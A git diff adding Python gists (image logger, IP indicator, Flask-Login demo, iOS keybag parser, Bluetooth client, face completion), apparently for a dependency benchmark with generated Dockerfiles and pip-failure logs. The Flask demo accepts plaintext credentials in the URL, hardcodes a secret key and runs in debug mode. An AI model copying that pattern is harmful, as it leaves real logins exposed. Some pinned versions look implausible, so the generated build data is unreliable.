a/hard-gists/09f5ab44486b1fc6df7bf20ce57159f1/._snippet.py b/hard-gists/09f5ab44486b1fc6df7bf20ce57159f1/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/09f5ab44486b1fc6df7bf20ce57159f1/._snippet.py differ diff --git a/hard-gists/09f5ab44486b1fc6df7bf20ce57159f1/snippet.py b/hard-gists/09f5ab44486b1fc6df7bf20ce57159f1/snippet.py new file mode 100644 index 00000000..60c8d775 --- /dev/null +++ b/hard-gists/09f5ab44486b1fc6df7bf20ce57159f1/snippet.py @@ -0,0 +1,85 @@ +#Created by Donald K. Brown III +#Copyright 2017 +#To be used with Pillow library in Python 3.5+ +#Based on the 'Year in Pixels' project at http://bulletjournaling101.tumblr.com/post/149151517798/a-year-in-pixels + +import datetime +from PIL import Image, ImageDraw + +c = datetime.datetime.now() +yy = c.year + +try: + img = Image.open('yearincolor{}.png'.format(yy)) +except FileNotFoundError: + img = Image.new('RGB',(400,400,)) + +mm = c.month +dd = c.day +j1 = datetime.date(yy, 1, 1) +td = datetime.date(yy, mm, dd) +p = (td-j1).days +daystable = [] +for i in range(0,20): + a = i*20 + b = a+20 + daystable.append(list(range(a,b))) +for i in range(0,20): + if p in daystable[i]: + row = i + break +startx = 20*daystable[row].index(p) +endx = startx+19 +starty = 20*row +endy = starty+19 + +while True: + while True: + try: + happy = int(input("What percent of your day was good? ")) + if not 0 <= happy <= 100: + print("Please input an integer between 0 and 100.") + continue + else: + break + except ValueError: + print("Please input an integer between 0 and 100.") + continue + while True: + try: + sad = int(input("What percent of your day was bad? ")) + if not 0 <= sad <= 100: + print("Please input an integer between 0 and 100") + continue + else: + break + except ValueError: + print("Please input an integer between 0 and 100.") + continue + while True: + try: + blargh = int(input("What percent of your day was neither good nor bad? ")) + if not 0 <= blargh <= 100: + print("Please input an integer between 0 and 100.") + continue + else: + break + except ValueError: + print("Please input an integer between 0 and 100.") + continue + if not happy+sad+blargh == 100: + print("Your numbers don't quite add up to 100%. Let's try this again.") + continue + else: + break + +red = int(255*(blargh/100)) +blue = int(255*(sad/100)) +green = int(255*(happy/100)) + +draw=ImageDraw.Draw(img) +draw.rectangle([startx,starty,endx,endy],fill=(red,green,blue)) +img.save("yearincolor{}.png".format(yy)) + +print("Success! We've updated your image! Come back tomorrow for more!") +exit(0) \ No newline at end of file diff --git a/hard-gists/0a2ac74d800a2eff9540/._snippet.py b/hard-gists/0a2ac74d800a2eff9540/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0a2ac74d800a2eff9540/._snippet.py differ diff --git a/hard-gists/0a2ac74d800a2eff9540/Dockerfile-llm-2.7 b/hard-gists/0a2ac74d800a2eff9540/Dockerfile-llm-2.7 new file mode 100644 index 00000000..4dd110be --- /dev/null +++ b/hard-gists/0a2ac74d800a2eff9540/Dockerfile-llm-2.7 @@ -0,0 +1,13 @@ +# FROM is the found expected Python version +FROM python:2.7 +# Set the working directory to /app +WORKDIR /app +# Add install commands for all of the python modules +RUN ["pip","install","--upgrade","pip"] +RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","appindicator==2.0.10"] +RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","gtk==3.24.29"] +RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","urllib2==4.0"] +# Copy the specified directory to /app +COPY snippet.py /app +# Run the specified python file +CMD ["python", "/app/snippet.py"] \ No newline at end of file diff --git a/hard-gists/0a2ac74d800a2eff9540/Dockerfile-llm-3.8 b/hard-gists/0a2ac74d800a2eff9540/Dockerfile-llm-3.8 new file mode 100644 index 00000000..e21d6828 --- /dev/null +++ b/hard-gists/0a2ac74d800a2eff9540/Dockerfile-llm-3.8 @@ -0,0 +1,13 @@ +# FROM is the found expected Python version +FROM python:3.8 +# Set the working directory to /app +WORKDIR /app +# Add install commands for all of the python modules +RUN ["pip","install","--upgrade","pip"] +RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","appindicator==1.0.0"] +RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","gtk==1.0.0"] +RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","urllib2==1.25"] +# Copy the specified directory to /app +COPY snippet.py /app +# Run the specified python file +CMD ["python", "/app/snippet.py"] \ No newline at end of file diff --git a/hard-gists/0a2ac74d800a2eff9540/modules/app_2.7.txt b/hard-gists/0a2ac74d800a2eff9540/modules/app_2.7.txt new file mode 100644 index 00000000..e69de29b diff --git a/hard-gists/0a2ac74d800a2eff9540/modules/appindicator_2.7.txt b/hard-gists/0a2ac74d800a2eff9540/modules/appindicator_2.7.txt new file mode 100644 index 00000000..e69de29b diff --git a/hard-gists/0a2ac74d800a2eff9540/modules/appindicator_3.8.txt b/hard-gists/0a2ac74d800a2eff9540/modules/appindicator_3.8.txt new file mode 100644 index 00000000..e69de29b diff --git a/hard-gists/0a2ac74d800a2eff9540/modules/gtk_2.7.txt b/hard-gists/0a2ac74d800a2eff9540/modules/gtk_2.7.txt new file mode 100644 index 00000000..e69de29b diff --git a/hard-gists/0a2ac74d800a2eff9540/modules/gtk_3.8.txt b/hard-gists/0a2ac74d800a2eff9540/modules/gtk_3.8.txt new file mode 100644 index 00000000..e69de29b diff --git a/hard-gists/0a2ac74d800a2eff9540/modules/urllib2_2.7.txt b/hard-gists/0a2ac74d800a2eff9540/modules/urllib2_2.7.txt new file mode 100644 index 00000000..e69de29b diff --git a/hard-gists/0a2ac74d800a2eff9540/modules/urllib2_3.8.txt b/hard-gists/0a2ac74d800a2eff9540/modules/urllib2_3.8.txt new file mode 100644 index 00000000..e69de29b diff --git a/hard-gists/0a2ac74d800a2eff9540/output_data_2.7.yml b/hard-gists/0a2ac74d800a2eff9540/output_data_2.7.yml new file mode 100644 index 00000000..3e9c5f70 --- /dev/null +++ b/hard-gists/0a2ac74d800a2eff9540/output_data_2.7.yml @@ -0,0 +1,8 @@ +--- +python_version: 2.7 +start_time: 1773782985.4701717 +iterations: +--- +python_version: 2.7 +start_time: 1774899562.0551274 +iterations: diff --git a/hard-gists/0a2ac74d800a2eff9540/snippet.py b/hard-gists/0a2ac74d800a2eff9540/snippet.py new file mode 100644 index 00000000..200225fa --- /dev/null +++ b/hard-gists/0a2ac74d800a2eff9540/snippet.py @@ -0,0 +1,42 @@ +#!/usr/bin/env python2 + +import appindicator +import gtk +import urllib2 + + +class IPIndicator(appindicator.Indicator): + """ + An indicator displaying public IP address. + """ + + def __init__(self): + super(IPIndicator, self).__init__( + "ip-indicator", + "applications-internet", + appindicator.CATEGORY_APPLICATION_STATUS + ) + # Create the quit menu item + menu, quit = gtk.Menu(), gtk.MenuItem('Quit') + quit.connect('activate', gtk.main_quit) + quit.show() + menu.append(quit) + self.set_menu(menu) + self.set_status(appindicator.STATUS_ACTIVE) + + def run(self): + self._refresh() + gtk.timeout_add(600, self._refresh) + gtk.main() + + def _refresh(self): + self.set_label("[Refreshing...]") + try: + ip = '[%s]' % urllib2.urlopen('http://icanhazip.com').read().strip() + except: + ip = '[Error]' + self.set_label(ip) + + +if __name__ == '__main__': + IPIndicator().run() \ No newline at end of file diff --git a/hard-gists/0a509faf231cff3cdec7/._snippet.py b/hard-gists/0a509faf231cff3cdec7/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0a509faf231cff3cdec7/._snippet.py differ diff --git a/hard-gists/0a509faf231cff3cdec7/snippet.py b/hard-gists/0a509faf231cff3cdec7/snippet.py new file mode 100644 index 00000000..746d3891 --- /dev/null +++ b/hard-gists/0a509faf231cff3cdec7/snippet.py @@ -0,0 +1,56 @@ +# Author: Gouthaman Balaraman +# http://gouthamanbalaraman.com/minimal-flask-login-example.html + +from flask import Flask, Response +from flask.ext.login import LoginManager, UserMixin, login_required + + +app = Flask(__name__) +login_manager = LoginManager() +login_manager.init_app(app) + + +class User(UserMixin): + # proxy for a database of users + user_database = {"JohnDoe": ("JohnDoe", "John"), + "JaneDoe": ("JaneDoe", "Jane")} + + def __init__(self, username, password): + self.id = username + self.password = password + + @classmethod + def get(cls,id): + return cls.user_database.get(id) + + +@login_manager.request_loader +def load_user(request): + token = request.headers.get('Authorization') + if token is None: + token = request.args.get('token') + + if token is not None: + username,password = token.split(":") # naive token + user_entry = User.get(username) + if (user_entry is not None): + user = User(user_entry[0],user_entry[1]) + if (user.password == password): + return user + return None + + +@app.route("/",methods=["GET"]) +def index(): + return Response(response="Hello World!",status=200) + + +@app.route("/protected/",methods=["GET"]) +@login_required +def protected(): + return Response(response="Hello Protected World!", status=200) + + +if __name__ == '__main__': + app.config["SECRET_KEY"] = "ITSASECRET" + app.run(port=5000,debug=True) \ No newline at end of file diff --git a/hard-gists/0aaa9e4659977a98fc9f36d6887fef37/._snippet.py b/hard-gists/0aaa9e4659977a98fc9f36d6887fef37/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0aaa9e4659977a98fc9f36d6887fef37/._snippet.py differ diff --git a/hard-gists/0aaa9e4659977a98fc9f36d6887fef37/Dockerfile-llm-2.7 b/hard-gists/0aaa9e4659977a98fc9f36d6887fef37/Dockerfile-llm-2.7 new file mode 100644 index 00000000..7f869611 --- /dev/null +++ b/hard-gists/0aaa9e4659977a98fc9f36d6887fef37/Dockerfile-llm-2.7 @@ -0,0 +1,12 @@ +# FROM is the found expected Python version +FROM python:2.7 +# Set the working directory to /app +WORKDIR /app +# Add install commands for all of the python modules +RUN ["pip","install","--upgrade","pip"] +RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","plist==3.1"] +RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","cstringio==3.4"] +# Copy the specified directory to /app +COPY snippet.py /app +# Run the specified python file +CMD ["python", "/app/snippet.py"] \ No newline at end of file diff --git a/hard-gists/0aaa9e4659977a98fc9f36d6887fef37/modules/cstringio_2.7.txt b/hard-gists/0aaa9e4659977a98fc9f36d6887fef37/modules/cstringio_2.7.txt new file mode 100644 index 00000000..e69de29b diff --git a/hard-gists/0aaa9e4659977a98fc9f36d6887fef37/modules/plist_2.7.txt b/hard-gists/0aaa9e4659977a98fc9f36d6887fef37/modules/plist_2.7.txt new file mode 100644 index 00000000..e69de29b diff --git a/hard-gists/0aaa9e4659977a98fc9f36d6887fef37/snippet.py b/hard-gists/0aaa9e4659977a98fc9f36d6887fef37/snippet.py new file mode 100644 index 00000000..2890d41b --- /dev/null +++ b/hard-gists/0aaa9e4659977a98fc9f36d6887fef37/snippet.py @@ -0,0 +1,99 @@ +#!/usr/bin/env python +# +# extracts and parse BackupKeyBag +# +# 2017.02.04 darell tan +# + +from plist import * +import struct +import sys +from binascii import hexlify +from collections import OrderedDict + +try: + from cStringIO import StringIO +except: + from StringIO import StringIO + + +def getKeybagFile(manifest_file): + """ + Retrieves the BackupKeyBag embedded within the Manifest.plist. + """ + with open(manifest_file, 'rb') as f: + data = f.read() + pl = Structure.from_bin(data) if data.startswith('bplist') \ + else Structure.from_xml(data) + + assert 'Version' in pl + + return StringIO(pl['BackupKeyBag'].get_value()) + + +class Keybag: + def __init__(self, f): + self.hdr = OrderedDict() + self.keys = [] + + self.f = f if hasattr(f, 'read') else open(f, 'rb') + + self._parse() + + def _parse(self): + keys = [] + currKey = OrderedDict() + while True: + hdr = self.f.read(4+4) + if hdr == '': + break + typ, sz = struct.unpack('>4sI', hdr) + data = self.f.read(sz) + if sz == 4: + data, = struct.unpack('>I', data) + + # UUID usually first item of each entry + if typ == 'UUID': + if 'UUID' in currKey: + keys.append(currKey) + else: + self.hdr = currKey + currKey = OrderedDict() + + currKey[typ] = data + + if currKey: + keys.append(currKey) + + self.keys = keys + + def dump(self): + for k, v in self.hdr.iteritems(): + print k, v + + print '-' * 10 + + def decode(typ, val): + if typ == 'UUID': + v = hexlify(val) + return '%s...%s' % (v[:6], v[-4:]) + elif not isinstance(val, (int, long)): + return hexlify(val) + else: + return repr(val) + + for key in self.keys: + print ', '.join('%s: %s' % (k, decode(k, v)) \ + for k, v in key.iteritems()) + + def __repr__(self): + return repr(self.keys) + +def main(): + stream = getKeybagFile(sys.argv[1]) + + k = Keybag(stream) + k.dump() + +if __name__ == '__main__': + main() diff --git a/hard-gists/0acf77b2c022e2467cfb0d5493d454d6/._snippet.py b/hard-gists/0acf77b2c022e2467cfb0d5493d454d6/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0acf77b2c022e2467cfb0d5493d454d6/._snippet.py differ diff --git a/hard-gists/0acf77b2c022e2467cfb0d5493d454d6/snippet.py b/hard-gists/0acf77b2c022e2467cfb0d5493d454d6/snippet.py new file mode 100644 index 00000000..8c625770 --- /dev/null +++ b/hard-gists/0acf77b2c022e2467cfb0d5493d454d6/snippet.py @@ -0,0 +1,8 @@ +from django import template +register = template.Library() + +@register.filter(name='urltoname') +def urltoname(value): + "filter that extracts the filename from a URL" + x = str(value) + return x[x.rfind("/")+1:] diff --git a/hard-gists/0afa43225bdbe8e803cb/._snippet.py b/hard-gists/0afa43225bdbe8e803cb/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0afa43225bdbe8e803cb/._snippet.py differ diff --git a/hard-gists/0afa43225bdbe8e803cb/snippet.py b/hard-gists/0afa43225bdbe8e803cb/snippet.py new file mode 100644 index 00000000..bc2d4624 --- /dev/null +++ b/hard-gists/0afa43225bdbe8e803cb/snippet.py @@ -0,0 +1,138 @@ +from __future__ import print_function +import dbus +import sys +import dbus.service +import dbus.mainloop.glib +import gobject as gobject + + +dbus.mainloop.glib.DBusGMainLoop(set_as_default=True) +bus = dbus.SystemBus() + + +BLUEZ_SERVICE_NAME = "org.bluez" +DBUS_OM_IFACE = "org.freedesktop.DBus.ObjectManager" +DBUS_PROP_IFACE = "org.freedesktop.DBus.Properties" + +GATT_SERVICE_IFACE = "org.bluez.GattService1" +GATT_CHRC_IFACE = "org.bluez.GattCharacteristic1" + +SCRATCH_SVC_UUID = "a495ff20-c5b1-4b44-b512-1370f02d74de" + +SCRATCHES = {"scratch1": {"uuid": "a495ff21-c5b1-4b44-b512-1370f02d74de", + "obj": None, + "value": 0}, + "scratch2": {"uuid": "a495ff22-c5b1-4b44-b512-1370f02d74de", + "obj": None, + "value": 0}, + "scratch3": {"uuid": "a495ff23-c5b1-4b44-b512-1370f02d74de", + "obj": None, + "value": 0}, + "scratch4": {"uuid": "a495ff24-c5b1-4b44-b512-1370f02d74de", + "obj": None, + "value": 0}, + "scratch5": {"uuid": "a495ff25-c5b1-4b44-b512-1370f02d74de", + "obj": None, + "value": 0}} + + +def generic_error_cb(error): + print("D-Bus call failed: %s" % str(error)) + mainloop.quit() + + +def scratch_start_notify_cb(): + pass + + +def generate_cb(scratch_name): + def scratch_notify_cb(iface, changed_props, _invalidated_props): + if iface != GATT_CHRC_IFACE: + return + + if not len(changed_props): + return + + value = changed_props.get('Value', None) + if not value: + return + + SCRATCHES[scratch_name]["value"] = int(value[0]) + + print("%s, %s %s" % (scratch_name, value, SCRATCHES[scratch_name]["value"])) + + return scratch_notify_cb + + +def start_client(): + for scratch in SCRATCHES.keys(): + iface = dbus.Interface(SCRATCHES[scratch]["obj"][0], DBUS_PROP_IFACE) + iface.connect_to_signal("PropertiesChanged", generate_cb(scratch)) + + SCRATCHES[scratch]["obj"][0].StartNotify(reply_handler=scratch_start_notify_cb, + error_handler=generic_error_cb, + dbus_interface=GATT_CHRC_IFACE) + + +def process_chrc(chrc_path): + chrc = bus.get_object(BLUEZ_SERVICE_NAME, chrc_path) + chrc_props = chrc.GetAll(GATT_CHRC_IFACE, dbus_interface=DBUS_PROP_IFACE) + + uuid = chrc_props['UUID'] + + for scratch_name, scratch_data in SCRATCHES.iteritems(): + if uuid == scratch_data["uuid"]: + SCRATCHES[scratch_name]["obj"] = (chrc, chrc_props) + break + + return True + + +def process_bean_service(service_path): + service = bus.get_object(BLUEZ_SERVICE_NAME, service_path) + + service_props = service.GetAll(GATT_SERVICE_IFACE, + dbus_interface=DBUS_PROP_IFACE) + uuid = service_props['UUID'] + + if uuid != SCRATCH_SVC_UUID: + print('Service is not a scratch service: ' + uuid) + return False + + # Process the characteristics. + chrc_paths = service_props['Characteristics'] + for chrc_path in chrc_paths: + process_chrc(chrc_path) + + return True + + +def main(): + if len(sys.argv) < 2: + print("One argument (mac) required") + exit(1) + + mac = sys.argv[1] + + mac = mac.replace(":", "_") + service_path = dbus.ObjectPath("/org/bluez/hci0/dev_%s/service0031/char0036" % mac) + service_path = dbus.ObjectPath("/org/bluez/hci0/dev_%s/service0031" % mac) + + global mainloop + mainloop = gobject.MainLoop() + + try: + if not process_bean_service(service_path): + print("Failed to process bean service") + sys.exit(1) + except dbus.DBusException as err: + print(err.message) + sys.exit(1) + + start_client() + + mainloop.run() + + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/hard-gists/0b42dbd687ae3b838728/._snippet.py b/hard-gists/0b42dbd687ae3b838728/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0b42dbd687ae3b838728/._snippet.py differ diff --git a/hard-gists/0b42dbd687ae3b838728/snippet.py b/hard-gists/0b42dbd687ae3b838728/snippet.py new file mode 100644 index 00000000..e4d3d3ca --- /dev/null +++ b/hard-gists/0b42dbd687ae3b838728/snippet.py @@ -0,0 +1,10 @@ +#! /usr/bin/env python + +import git +from time import localtime, strftime +from subprocess import call + +crime = git.Repo("/Users/chadblack/Projects/crime") + +call(["jrnl",strftime("%H:%M", localtime(crime.head.commit.committed_date))+":",crime.head.commit.message,"@"+crime.description]) + diff --git a/hard-gists/0b677b13fca6cd0905ca/._snippet.py b/hard-gists/0b677b13fca6cd0905ca/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0b677b13fca6cd0905ca/._snippet.py differ diff --git a/hard-gists/0b677b13fca6cd0905ca/snippet.py b/hard-gists/0b677b13fca6cd0905ca/snippet.py new file mode 100644 index 00000000..86274592 --- /dev/null +++ b/hard-gists/0b677b13fca6cd0905ca/snippet.py @@ -0,0 +1,92 @@ +import numpy as np +import matplotlib.pyplot as plt + +from sklearn.datasets import fetch_olivetti_faces +from sklearn.utils.validation import check_random_state +from scipy.ndimage import imread + +from sklearn.ensemble import ExtraTreesRegressor +from sklearn.neighbors import KNeighborsRegressor +from sklearn.linear_model import LinearRegression +from sklearn.linear_model import RidgeCV +from compiler.ast import flatten +from matplotlib.pyplot import title + +# Load the faces datasets +data = fetch_olivetti_faces() +targets = data.target + +#Load my face +my_face = imread(fname='me.gif', flatten = True) +my_normalized_face = my_face / 255.0 +my_flattened_normalized_face = np.ndarray(4096) +for i, row in enumerate(my_normalized_face): + for j, pixel in enumerate(row): + my_flattened_normalized_face[i * 64 + j] = pixel + +data = data.images.reshape((len(data.images), -1)) +my_face_data = my_normalized_face.reshape((len(my_normalized_face), -1)) + +train = data[targets] +test = data[targets >= 30] # Test on independent people + +# Test on a subset of people +n_faces = 4 +rng = check_random_state(5) +face_ids = rng.randint(test.shape[0], size=(n_faces, )) +test = test[face_ids, :] + +n_pixels = data.shape[1] +X_train = train[:, :int(np.ceil(0.5 * n_pixels) )] # Upper half of the faces +y_train = train[:, int(np.floor(0.5 * n_pixels)):] # Lower half of the faces +X_test = test[:, :int(np.ceil(0.5 * n_pixels) )] +y_test = test[:, int (np.floor(0.5 * n_pixels)): ] + +X_my_face_test = my_flattened_normalized_face[:int(np.ceil(0.5 * n_pixels))] +Y_my_face_test = my_flattened_normalized_face[int(np.floor(0.5 * n_pixels)):] + +# Fit estimators +ESTIMATORS = { + "Extra trees": ExtraTreesRegressor(n_estimators=15, max_features=20, + random_state=3), + "K-nn": KNeighborsRegressor(), +# These classifiers don't seem to work. +# "Linear regression": LinearRegression(), +# "Ridge": RidgeCV(), +} + +y_test_predict = dict() +my_face_y_test_predict = dict() +for name, estimator in ESTIMATORS.items(): + estimator.fit(X_train, y_train) + y_test_predict[name] = estimator.predict(X_test) + my_face_y_test_predict[name] = estimator.predict(X_my_face_test) + +# Plot the completed faces +image_shape = (64, 64) + +n_cols = 1 + len(ESTIMATORS) +plt.figure(figsize=(2. * n_cols, 2.26 * 2.0)) +plt.suptitle("Face completion with multi-output estimators", size=16) + +#Plot my face +my_true_face = np.hstack((X_my_face_test, Y_my_face_test)) + +#Print the top (true) part of my face for all faces) +sub = plt.subplot(1, n_cols, 1, title='Actual Face') + +sub.axis("off") +sub.imshow(my_true_face.reshape(image_shape), cmap=plt.cm.gray, interpolation="nearest") + +#Print the bottom (estimated) part of my face for all faces +for j, est in enumerate(sorted(ESTIMATORS)): + my_completed_face = np.hstack((X_my_face_test, my_face_y_test_predict[est][0])) + sub = plt.subplot(1, n_cols, j + 2, title=est) + + sub.axis("off") + try: + sub.imshow(my_completed_face.reshape(image_shape), cmap=plt.cm.gray, interpolation="nearest") + except ValueError: + continue + +plt.show() diff --git a/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/._snippet.py b/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/._snippet.py differ diff --git a/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/Dockerfile-llm-2.7 b/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/Dockerfile-llm-2.7 new file mode 100644 index 00000000..de56da55 --- /dev/null +++ b/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/Dockerfile-llm-2.7 @@ -0,0 +1,10 @@ +# FROM is the found expected Python version +FROM python:2.7 +# Set the working directory to /app +WORKDIR /app +# Add install commands for all of the python modules +RUN ["pip","install","--upgrade","pip"] +# Copy the specified directory to /app +COPY snippet.py /app +# Run the specified python file +CMD ["python", "/app/snippet.py"] \ No newline at end of file diff --git a/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/modules/${python_module}_2.7.txt b/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/modules/${python_module}_2.7.txt new file mode 100644 index 00000000..e69de29b diff --git a/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/modules/matplotlib_2.7.txt b/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/modules/matplotlib_2.7.txt new file mode 100644 index 00000000..e69de29b diff --git a/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/modules/tensorflow==2_2.7.txt b/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/modules/tensorflow==2_2.7.txt new file mode 100644 index 00000000..e69de29b diff --git a/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/modules/tensorflow_2.7.txt b/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/modules/tensorflow_2.7.txt new file mode 100644 index 00000000..e69de29b diff --git a/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/output_data_2.7.yml b/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/output_data_2.7.yml new file mode 100644 index 00000000..1625f382 --- /dev/null +++ b/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/output_data_2.7.yml @@ -0,0 +1,131 @@ +--- +python_version: 2.7 +start_time: 1773783492.0215385 +iterations: + iteration_1: + - python_module: {'tensorflow': '2.5.0', 'matplotlib': '3.5.1'} + - error_type: VersionNotFound + - error: | + \u001b[91mERROR Could not find a version that satisfies the requirement tensorflow==2.5.0 (from versions 0.12.0, 0.12.1, 1.0.0, 1.0.1, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.6.0, 1.7.0, 1.7.1, 1.8.0, 1.9.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.12.2, 1.12.3, 1.13.1, 1.13.2, 1.14.0, 1.15.0, 2.0.0, 2.1.0)\nERROR No matching distribution found for tensorflow==2.5.0\n\u001b[0m"} + {"error""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 tensorflow==2.5.0' returned a non-zero code 1","errorDetail"{"code"1,"message""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 tensorflow==2.5.0' returned a non-zero code 1 + iteration_2: + - python_module: {'tensorflow': '2.5.0', 'matplotlib': '3.5.1'} + - error_type: VersionNotFound + - error: | + \u001b[91mERROR Could not find a version that satisfies the requirement tensorflow==2.5.0 (from versions 0.12.0, 0.12.1, 1.0.0, 1.0.1, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.6.0, 1.7.0, 1.7.1, 1.8.0, 1.9.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.12.2, 1.12.3, 1.13.1, 1.13.2, 1.14.0, 1.15.0, 2.0.0, 2.1.0)\nERROR No matching distribution found for tensorflow==2.5.0\n\u001b[0m"} + {"error""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 tensorflow==2.5.0' returned a non-zero code 1","errorDetail"{"code"1,"message""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 tensorflow==2.5.0' returned a non-zero code 1 + iteration_3: + - python_module: {'tensorflow': '2.4.1', 'matplotlib': '3.5.1'} + - error_type: VersionNotFound + - error: | + \u001b[91mERROR Could not find a version that satisfies the requirement tensorflow==2.4.1 (from versions 0.12.0, 0.12.1, 1.0.0, 1.0.1, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.6.0, 1.7.0, 1.7.1, 1.8.0, 1.9.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.12.2, 1.12.3, 1.13.1, 1.13.2, 1.14.0, 1.15.0, 2.0.0, 2.1.0)\nERROR No matching distribution found for tensorflow==2.4.1\n\u001b[0m"} + {"error""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 tensorflow==2.4.1' returned a non-zero code 1","errorDetail"{"code"1,"message""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 tensorflow==2.4.1' returned a non-zero code 1 + iteration_4: + - python_module: {'tensorflow': '2.4.1', 'matplotlib': '3.5.1', 'tensorflow==2': '2.4.0'} + - error_type: VersionNotFound + - error: | + \u001b[91mERROR Could not find a version that satisfies the requirement tensorflow==2.4.1 (from versions 0.12.0, 0.12.1, 1.0.0, 1.0.1, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.6.0, 1.7.0, 1.7.1, 1.8.0, 1.9.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.12.2, 1.12.3, 1.13.1, 1.13.2, 1.14.0, 1.15.0, 2.0.0, 2.1.0)\nERROR No matching distribution found for tensorflow==2.4.1\n\u001b[0m"} + ---\u003e Removed intermediate container d835254efcd2\n"} + {"error""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 tensorflow==2.4.1' returned a non-zero code 1","errorDetail"{"code"1,"message""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 tensorflow==2.4.1' returned a non-zero code 1 + iteration_5: + - python_module: {'tensorflow': '2.4.1', 'matplotlib': '3.5.1', 'tensorflow==2': '2.4.0'} + - error_type: VersionNotFound + - error: | + \u001b[91mERROR Could not find a version that satisfies the requirement tensorflow==2.4.1 (from versions 0.12.0, 0.12.1, 1.0.0, 1.0.1, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.6.0, 1.7.0, 1.7.1, 1.8.0, 1.9.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.12.2, 1.12.3, 1.13.1, 1.13.2, 1.14.0, 1.15.0, 2.0.0, 2.1.0)\nERROR No matching distribution found for tensorflow==2.4.1\n\u001b[0m"} + ---\u003e Removed intermediate container d835254efcd2\n"} + {"error""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 tensorflow==2.4.1' returned a non-zero code 1","errorDetail"{"code"1,"message""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 tensorflow==2.4.1' returned a non-zero code 1 + iteration_6: + - python_module: {'tensorflow': '2.4.1', 'matplotlib': '3.5.1', 'tensorflow==2': '2.4.0'} + - error_type: VersionNotFound + - error: | + \u001b[91mERROR Could not find a version that satisfies the requirement tensorflow==2.4.1 (from versions 0.12.0, 0.12.1, 1.0.0, 1.0.1, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.6.0, 1.7.0, 1.7.1, 1.8.0, 1.9.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.12.2, 1.12.3, 1.13.1, 1.13.2, 1.14.0, 1.15.0, 2.0.0, 2.1.0)\nERROR No matching distribution found for tensorflow==2.4.1\n\u001b[0m"} + {"error""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 tensorflow==2.4.1' returned a non-zero code 1","errorDetail"{"code"1,"message""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 tensorflow==2.4.1' returned a non-zero code 1 + iteration_7: + - python_module: {'matplotlib': '3.5.1', 'tensorflow==2': '2.4.0'} + - error_type: VersionNotFound + - error: | + \u001b[91mERROR Could not find a version that satisfies the requirement matplotlib==3.5.1 (from versions 0.86, 0.86.1, 0.86.2, 0.91.0, 0.91.1, 1.0.1, 1.1.0, 1.1.1, 1.2.0, 1.2.1, 1.3.0, 1.3.1, 1.4.0, 1.4.1rc1, 1.4.1, 1.4.2, 1.4.3, 1.5.0, 1.5.1, 1.5.2, 1.5.3, 2.0.0b1, 2.0.0b2, 2.0.0b3, 2.0.0b4, 2.0.0rc1, 2.0.0rc2, 2.0.0, 2.0.1, 